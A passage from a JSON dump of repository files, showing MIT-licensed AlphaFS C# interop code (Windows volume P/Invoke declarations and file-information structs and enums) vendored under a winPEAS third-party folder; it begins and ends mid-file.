2003.</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"GetVolumePathNamesForVolumeNameW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool GetVolumePathNamesForVolumeName([MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeName, char[] lpszVolumePathNames, [MarshalAs(UnmanagedType.U4)] uint cchBuferLength, [MarshalAs(UnmanagedType.U4)] out uint lpcchReturnLength);\n\n      /// <summary>Sets the label of a file system volume.</summary>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only].</remarks>\n      /// <remarks>\"lpRootPathName\" must end with a trailing backslash.</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"SetVolumeLabelW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetVolumeLabel([MarshalAs(UnmanagedType.LPWStr)] string lpRootPathName, [MarshalAs(UnmanagedType.LPWStr)] string lpVolumeName);\n\n      /// <summary>Associates a volume with a drive letter or a directory on another volume.</summary>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error\n      ///   information, call GetLastError.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"SetVolumeMountPointW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetVolumeMountPoint([MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeMountPoint, [MarshalAs(UnmanagedType.LPWStr)] string lpszVolumeName);\n\n      /// <summary>Retrieves information about MS-DOS device names.</summary>\n      /// <remarks>Minimum supported client: Windows XP [desktop apps only].</remarks>\n      /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps only].</remarks>\n      /// <returns>\n      ///   If the function succeeds, the return value is the number of TCHARs stored into the buffer pointed to by lpTargetPath. If the\n      ///   function fails, the return value is zero. To get extended error information, call GetLastError. If the buffer is too small, the\n      ///   function fails and the last error code is ERROR_INSUFFICIENT_BUFFER.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"QueryDosDeviceW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.U4)]\n      internal static extern uint QueryDosDevice([MarshalAs(UnmanagedType.LPWStr)] string lpDeviceName, char[] lpTargetPath, [MarshalAs(UnmanagedType.U4)] uint ucchMax);\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/BY_HANDLE_FILE_INFORMATION.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Contains information that the GetFileInformationByHandle function retrieves.</summary>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct BY_HANDLE_FILE_INFORMATION\n      {\n         /// <summary>The file attributes.</summary>\n         public readonly FileAttributes dwFileAttributes;\n\n\n         /// <summary>A <see cref=\"FILETIME\"/> structure that specifies when a file or directory is created.</summary>\n         public readonly FILETIME ftCreationTime;\n\n\n         /// <summary>A <see cref=\"FILETIME\"/> structure. For a file, the structure specifies the last time that a file is read from or written to.\n         /// For a directory, the structure specifies when the directory is created.\n         /// For both files and directories, the specified date is correct, but the time of day is always set to midnight.\n         /// </summary>\n         public readonly FILETIME ftLastAccessTime;\n\n\n         /// <summary>A <see cref=\"FILETIME\"/> structure. For a file, the structure specifies the last time that a file is written to.\n         /// For a directory, the structure specifies when the directory is created.</summary>\n         public readonly FILETIME ftLastWriteTime;\n\n\n         /// <summary>The serial number of the volume that contains a file.</summary>\n         [MarshalAs(UnmanagedType.U4)] public readonly uint dwVolumeSerialNumber;\n\n\n         /// <summary>The high-order part of the file size.</summary>\n         [MarshalAs(UnmanagedType.U4)] public readonly uint nFileSizeHigh;\n\n\n         /// <summary>The low-order part of the file size.</summary>\n         [MarshalAs(UnmanagedType.U4)] public readonly uint nFileSizeLow;\n\n         /// <summary>The number of links to this file. For the FAT file system this member is always 1. For the NTFS file system, it can be more than 1.</summary>\n         [MarshalAs(UnmanagedType.U4)] public readonly uint nNumberOfLinks;\n\n         /// <summary>The high-order part of a unique identifier that is associated with a file.</summary>\n         [MarshalAs(UnmanagedType.U4)] public readonly uint nFileIndexHigh;\n\n         /// <summary>The low-order part of a unique identifier that is associated with a file.</summary>\n         [MarshalAs(UnmanagedType.U4)] public readonly uint nFileIndexLow;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/COPY_FILE_FLAGS.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Flags that specify how a file or directory is to be copied.</summary>\n      internal enum COPY_FILE_FLAGS\n      {\n         /// <summary>The copy operation fails immediately if the target file already exists.</summary>\n         COPY_FILE_FAIL_IF_EXISTS = 1,\n\n\n         /// <summary>\n         ///   Progress of the copy is tracked in the target file in case the copy fails. The failed copy can be restarted at a later time by specifying the same values\n         ///   forexisting file name and new file name as those used in the call that failed. This can significantly slow down the copy operation as the new file may be\n         ///   flushed multiple times during the copy operation.\n         /// </summary>\n         COPY_FILE_RESTARTABLE = 2,\n\n\n         /// <summary>The file is copied and the original file is opened for write access.</summary>\n         COPY_FILE_OPEN_SOURCE_FOR_WRITE = 4,\n\n\n         /// <summary>An attempt to copy an encrypted file will succeed even if the destination copy cannot be encrypted.</summary>\n         COPY_FILE_ALLOW_DECRYPTED_DESTINATION = 8,\n\n\n         /// <summary>If the source file is a symbolic link, the destination file is also a symbolic link pointing to the same file that the source symbolic link is pointing to.</summary>\n         COPY_FILE_COPY_SYMLINK = 2048,\n\n\n         /// <summary>The copy operation is performed using unbuffered I/O, bypassing system I/O cache resources. Recommended for very large file transfers.</summary>\n         COPY_FILE_NO_BUFFERING = 4096\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILETIME.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Represents the number of 100-nanosecond intervals since January 1, 1601. This structure is a 64-bit value.</summary>\n      [Serializable]\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct FILETIME\n      {         \n         #region Fields\n\n         private readonly uint dwLowDateTime;\n         private readonly uint dwHighDateTime;\n\n         #endregion // Fields\n\n         #region Methods\n\n         /// <summary>Converts a value to long.</summary>\n         public static implicit operator long(FILETIME ft)\n         {\n            return ft.ToLong();\n         }\n\n         /// <summary>Converts a value to long.</summary>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1720:IdentifiersShouldNotContainTypeNames\", MessageId = \"long\")]\n         public long ToLong()\n         {\n            return NativeMethods.ToLong(dwHighDateTime, dwLowDateTime);\n         }\n\n         #endregion\n\n         #region Equality\n\n         #region Equals\n\n         /// <summary>Determines whether the specified Object is equal to the current Object.</summary>\n         /// <param name=\"obj\">Another object to compare to.</param>\n         /// <returns><c>true</c> if the specified Object is equal to the current Object; otherwise, <c>false</c>.</returns>\n         public override bool Equals(object obj)\n         {\n            if (null == obj || GetType() != obj.GetType())\n               return false;\n\n            var other = obj as FILETIME? ?? new FILETIME();\n\n            return other.dwHighDateTime.Equals(dwHighDateTime) && other.dwLowDateTime.Equals(dwLowDateTime);\n         }\n\n         #endregion // Equals\n\n         #region GetHashCode\n\n         /// <summary>Serves as a hash function for a particular type.</summary>\n         /// <returns>A hash code for the current Object.</returns>\n         public override int GetHashCode()\n         {\n            unchecked\n            {\n               var hash = 17;\n               hash = hash * 23 + dwHighDateTime.GetHashCode();\n               hash = hash * 11 + dwLowDateTime.GetHashCode();\n               return hash;\n            }\n         }\n\n         #endregion // GetHashCode\n\n         #region ==\n\n         /// <summary>Implements the operator ==</summary>\n         /// <param name=\"left\">A.</param>\n         /// <param name=\"right\">B.</param>\n         /// <returns>The result of the operator.</returns>\n         public static bool operator ==(FILETIME left, FILETIME right)\n         {\n            return left.Equals(right);\n         }\n         \n         #endregion // ==\n\n         #region !=\n         /// <summary>Implements the operator !=</summary>\n         /// <param name=\"left\">A.</param>\n         /// <param name=\"right\">B.</param>\n         /// <returns>The result of the operator.</returns>\n         public static bool operator !=(FILETIME left, FILETIME right)\n         {\n            return !(left == right);\n         }\n\n         #endregion // !=\n\n         #endregion // Equality\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILE_BASIC_INFO.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Contains the basic information for a file. Used for file handles.</summary>\n      /// <remarks>\n      ///   <para>Specifying -1 for <see cref=\"LastAccessTime\"/>, <see cref=\"ChangeTime\"/>, or <see cref=\"LastWriteTime\"/></para>\n      ///   <para>indicates that operations on the current handle should not affect the given field.</para>\n      ///   <para>(I.e, specifying -1 for <see cref=\"LastWriteTime\"/> will leave the <see cref=\"LastWriteTime\"/> unaffected by writes performed\n      ///   on the current handle.)</para>\n      /// </remarks>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct FILE_BASIC_INFO\n      {\n         /// <summary>The time the file was created in <see cref=\"FILETIME\"/> format,\n         /// <para>which is a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC).</para>\n         /// </summary>\n         public FILETIME CreationTime;\n\n         /// <summary>The time the file was last accessed in <see cref=\"FILETIME\"/> format.</summary>\n         public FILETIME LastAccessTime;\n\n         /// <summary>The time the file was last written to in <see cref=\"FILETIME\"/> format.</summary>\n         public FILETIME LastWriteTime;\n\n         /// <summary>The time the file was changed in <see cref=\"FILETIME\"/> format.</summary>\n         public FILETIME ChangeTime;\n\n         /// <summary>The file attributes.</summary>\n         /// <remarks>If this is set to 0 in a <see cref=\"FILE_BASIC_INFO\"/> structure passed to SetFileInformationByHandle then none of the attributes are changed.</remarks>\n         public FileAttributes FileAttributes;\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILE_ID_BOTH_DIR_INFO.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Contains information about files in the specified directory. Used for directory handles. Use only when calling GetFileInformationByHandleEx.</summary>\n      /// <remarks>\n      /// The number of files that are returned for each call to GetFileInformationByHandleEx depends on the size of the buffer that is passed to the function.\n      /// Any subsequent calls to GetFileInformationByHandleEx on the same handle will resume the enumeration operation after the last file is returned.\n      /// </remarks>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct FILE_ID_BOTH_DIR_INFO\n      {\n         /// <summary>The offset for the next FILE_ID_BOTH_DIR_INFO structure that is returned. Contains zero (0) if no other entries follow this one.</summary>\n         [MarshalAs(UnmanagedType.U4)]\n         public readonly int NextEntryOffset;\n\n         /// <summary>The byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS,\n         /// in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order.\n         /// </summary>\n         [MarshalAs(UnmanagedType.U4)]\n         public readonly uint FileIndex;\n\n         /// <summary>The time that the file was created.</summary>\n         public FILETIME CreationTime;\n\n         /// <summary>The time that the file was last accessed.</summary>\n         public FILETIME LastAccessTime;\n\n         /// <summary>The time that the file was last written to.</summary>\n         public FILETIME LastWriteTime;\n\n         /// <summary>The time that the file was last changed.</summary>\n         public FILETIME ChangeTime;\n\n         /// <summary>The absolute new end-of-file position as a byte offset from the start of the file to the end of the file.\n         /// Because this value is zero-based, it actually refers to the first free byte in the file.\n         /// In other words, EndOfFile is the offset to the byte that immediately follows the last valid byte in the file.\n         /// </summary>\n         public readonly long EndOfFile;\n\n         /// <summary>The number of bytes that are allocated for the file. This value is usually a multiple of the sector or cluster size of the underlying physical device.</summary>\n         public readonly long AllocationSize;\n\n         /// <summary>The file attributes.</summary>\n         public readonly FileAttributes FileAttributes;\n\n         /// <summary>The length of the file name.</summary>\n         [MarshalAs(UnmanagedType.U4)]\n         public readonly uint FileNameLength;\n\n         /// <summary>The size of the extended attributes for the file.</summary>\n         [MarshalAs(UnmanagedType.U4)]\n         public readonly int EaSize;\n\n         /// <summary>The length of ShortName.</summary>\n         [MarshalAs(UnmanagedType.U1)]\n         public readonly byte ShortNameLength;\n\n         /// <summary>The short 8.3 file naming convention (for example, \"FILENAME.TXT\") name of the file.</summary>\n         [MarshalAs(UnmanagedType.ByValArray, SizeConst = 12, ArraySubType = UnmanagedType.U2)]\n         public readonly char[] ShortName;\n\n         /// <summary>The file ID.</summary>\n         public readonly long FileId;\n\n         /// <summary>The first character of the file name string. This is followed in memory by the remainder of the string.</summary>\n         public IntPtr FileName;\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILE_ID_INFO.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Contains identification information for a file.</summary>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal struct FILE_ID_INFO\n      {\n         /// <summary>The serial number of the volume that contains a file.</summary>\n         public readonly long VolumeSerialNumber;\n\n         /// <summary>The 128-bit file identifier for the file. The file identifier and the volume serial number uniquely identify a file on a single computer.\n         /// To determine whether two open handles represent the same file, combine the identifier and the volume serial number for each file and compare them.\n         /// </summary>\n         [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]\n         public readonly byte[] FileId;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Other/FILE_INFO_BY_HANDLE_CLASS.cs",
    "content": "/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Identifies the type of file information that GetFileInformationByHandleEx should retrieve or SetFileInformationByHandle should set.\n      /// </summary>\n      internal enum FILE_INFO_BY_HANDLE_CLASS\n      {\n         /// <summary>Minimal information for the file should be retrieved or set. Used for file handles.</summary>\n         FILE_BASIC_INFO = 0,\n\n\n         ///// <summary>Extended information for the file should be retrieved. Used for file handles. Use only when calling GetFileInformationByHandleEx.</summary>\n         //FILE_STANDARD_INFO = 1,\n\n\n         ///// <summary>The file name should be retrieved. Used for any handles. Use only when calling GetFileInformationByHandleEx.</summary>\n         //FILE_NAME_INFO = 2,\n\n\n         ///// <summary>The file name should be changed. Used for file handles. Use only when calling <see cref=\"SetFileInformationByHandle\"/>.</summary>\n         //FILE_RENAME_INFO = 3,\n\n\n         ///// <summary>The file should be deleted. Used for any handles. Use only when calling <see cref=\"SetFileInformationByHandle\"/>.</summary>\n         //FILE_DISPOSITION_INFO = 4,\n\n\n         ///// <summary>The file allocation information should be changed. Used for file handles. Use only when calling <see cref=\"SetFileInformationByHandle\"/>.</summary>\n         //FILE_ALLOCATION_INFO = 5,\n\n\n         ///// <summary>The end of the file should be set. Use only when calling <see cref=\"SetFileInformationByHandle\"/>.</summary>\n         //FILE_END_OF_FILE_INFO = 6,\n\n\n         ///// <summary>File stream information for the specified file should be retrieved. Used for any handles. Use only when calling GetFileInformationByHandleEx.</summary>\n         //FILE_STREAM_INFO = 7,\n\n\n         ///// <summary>File compression information should be retrieved. Used for any handles. Use only when calling GetFileInformationByHandleEx.</summary>\n         //FILE_COMPRESSION_INFO = 8,\n\n\n         ///// <summary>File attribute information should be retrieved. Used for any handles. Use only when calling GetFileInformationByHandleEx.</summary>\n         //FILE_ATTRIBUTE_TAG_INFO = 9,\n\n\n         /// <summary>Files in the specified directory should be retrieved. Used for directory handles. Use only when calling GetFileInformationByHandleEx.\n         /// <remarks>\n         /// The number of files returned for each call to GetFileInformationByHandleEx\n         /// depends on the size of the buffer that is passed to the function.\n         /// Any subsequent calls to GetFileInformationByHandleEx on the same handle\n         /// will resume the enumeration operation after the last file is returned.\n         /// </remarks>\n         /// </summary>\n         FILE_ID_BOTH_DIR_INFO = 10,\n\n\n         ///// <summary>Identical to <see cref=\"FILE_ID_BOTH_DIR_INFO\"/>, but forces the enumeration operation to start again from the beginning.</summary>\n         //FILE_ID_BOTH_DIR_INFO = 11,\n\n\n         ///// <summary>Priority hint information should be set. Use only when calling <see cref=\"SetFileInformationByHandle\"/>.</summary>\n         //FILE_IO_PRIORITY_HINT_INFO = 12,\n\n\n         ///// <summary>File remote protocol information should be retrieved.Use for any handles. Use only when calling GetFileInformationByHandleEx.</summary>\n         //FILE_REMOTE_PROTOCOL_INFO = 13,\n\n\n         ///// <summary>Files in the specified directory should be retrieved. Used for directory handles. Use only when calling GetFileInformationByHandleEx.\n         ///// <remarks>\n         ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP:\n         ///// This value is not supported before Windows 8 and Windows Server 2012\n         ///// </remarks>\n         ///// </summary>\n         //FILE_FULL_DIR_INFO = 14,\n\n\n         ///// <summary>Identical to <see cref=\"FILE_FULL_DIR_INFO\"/>, but forces the enumeration operation to start again from the beginning. Use only when calling GetFileInformationByHandleEx.\n         ///// <remarks>\n         ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP:\n         ///// This value is not supported before Windows 8 and Windows Server 2012\n         ///// </remarks>\n         ///// </summary>\n         //FILE_FULL_DIR_INFO = 15,\n\n\n         ///// <summary>File storage information should be retrieved. Use for any handles. Use only when calling GetFileInformationByHandleEx.\n         ///// <remarks>\n         ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP:\n         ///// This value is not supported before Windows 8 and Windows Server 2012\n         ///// </remarks>\n         ///// </summary>\n         //FILE_STORAGE_INFO = 16,\n\n\n         ///// <summary>File alignment information should be retrieved. Use for any handles. Use only when calling GetFileInformationByHandleEx.\n         ///// <remarks>\n         ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP:\n         ///// This value is not supported before Windows 8 and Windows Server 2012\n         ///// </remarks>\n         ///// </summary>\n         //FILE_ALIGNMENT_INFO = 17,\n\n\n         /// <summary>File information should be retrieved. Use for any handles. Use only when calling GetFileInformationByHandleEx.\n         /// <remarks>\n         /// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP:\n         /// This value is not supported before Windows 8 and Windows Server 2012\n         /// </remarks>\n         /// </summary>\n         FILE_ID_INFO = 18,\n\n\n         ///// <summary>Files in the specified directory should be retrieved. Used for directory handles. Use only when calling GetFileInformationByHandleEx.\n         ///// <remarks>\n         ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP:\n         ///// This value is not supported before Windows 8 and Windows Server 2012\n         ///// </remarks>\n         ///// </summary>\n         //FILE_ID_EXTD_DIR_INFO = 19,\n\n\n         ///// <summary>Identical to <see cref=\"FILE_ID_EXTD_DIR_INFO\"/>, but forces the enumeration operation to start again from the beginning. Use only when calling GetFileInformationByHandleEx.\n         ///// <remarks>\n         ///// Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP:\n         ///// This value is not supported before Windows 8 and Windows Server 2012\n         ///// </remarks>\n         ///// </summary>\n         